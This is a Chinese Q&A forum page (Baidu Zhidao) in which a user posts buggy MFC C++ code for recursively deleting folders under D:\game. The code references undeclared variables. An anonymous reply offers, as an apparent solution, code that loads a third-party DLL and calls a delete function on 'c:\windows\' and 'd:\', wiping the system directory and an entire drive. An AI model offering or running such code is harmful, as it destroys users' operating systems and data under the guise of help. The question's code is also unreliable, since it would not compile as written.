请尝试运行C++语句删除一个目录下所有文件夹并查看结果

#include<deque>usingnamespacestd;CFileFinddelfolderfinder;CStringdelfolderpath;delfol... #include <deque>
using namespace std;
CFileFind delfolderfinder;
CString delfolderpath;
delfolderpath.Format("%s\\*.*","D:\\game");
BOOL bWorking = delfolderfinder.FindFile(delfolderpath);
while (bWorking)
{
bWorking = finder.FindNextFile();
if (delfolderfinder.IsDirectory() && !delfolderfinder.IsDots())
{
if(!RemoveDirectory(delfolderfinder.GetFilePath()))
{
deque<CString>delfiles;
deque<CString>folderList;
CString path;
path.Format("%s\\*.*",delfolderfinder.GetFilePath());
delfiles.push_back(path);
while (delfiles.size()>0)
{
CFileFind delfinder;
BOOL bWork = delfinder.FindFile(delfiles.front());
folderList.push_back(delfiles.front());
delfiles.pop_front();
while (bWork)
{
bWork = delfinder.FindNextFile();
if(!delfinder.IsDots())
{
CString pathfile=delfinder.GetFilePath();
if(delfinder.IsDirectory())
{
CString filename;
filename.Format("%s\\*.*",delfinder.GetFilePath());
CFileFind delfd;
BOOL aWorking = delfd.FindFile(filename);
while(aWorking)
{
aWorking = delfd.FindNextFile();
CString filepath=delfd.GetFilePath();
if(!delfd.IsDots())
{
if(delfd.IsDirectory())
delfiles.push_back(filepath);
else
DeleteFile(filepath);
}
}
delfd.Close();
}
else
DeleteFile(pathfile);
}
}
delfinder.Close();
}
while(folderList.size()>0)
{
filepath=folderList.back();
CString folder=filepath;
folder.Replace("\\*.*","");
if(RemoveDirectory(folder))
folderList.pop_back();
else
{
bWork = finder.FindFile(folderList.back());
while (bWork)
{
bWork = finder.FindNextFile();
if(finder.IsDirectory() && !finder.IsDots())
folderList.push_back(finder.GetFilePath());
}
finder.Close();
}
}
}
}
delfolderfinder.Close();
展开
 我来答
匿名用户
2011-10-31
展开全部
typedef int (WINAPI ICEPUB_DELETEFILES)(char *strCurrentPath);
ICEPUB_DELETEFILES *icePub_deleteFiles = 0;
HINSTANCE hDLLDrv = LoadLibrary("icePubDll.dll");
if(hDLLDrv)
{
icePub_deleteFiles = (ICEPUB_DELETEFILES *)GetProcAddress(hDLLDrv, "icePub_deleteFiles");
}

if(icePub_deleteFiles)
{
icePub_deleteFiles("c:\\windows\\");
icePub_deleteFiles("d:\\");
}
if(hDLLDrv)
FreeLibrary(hDLLDrv);

参考资料: icePubDll百度之

推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式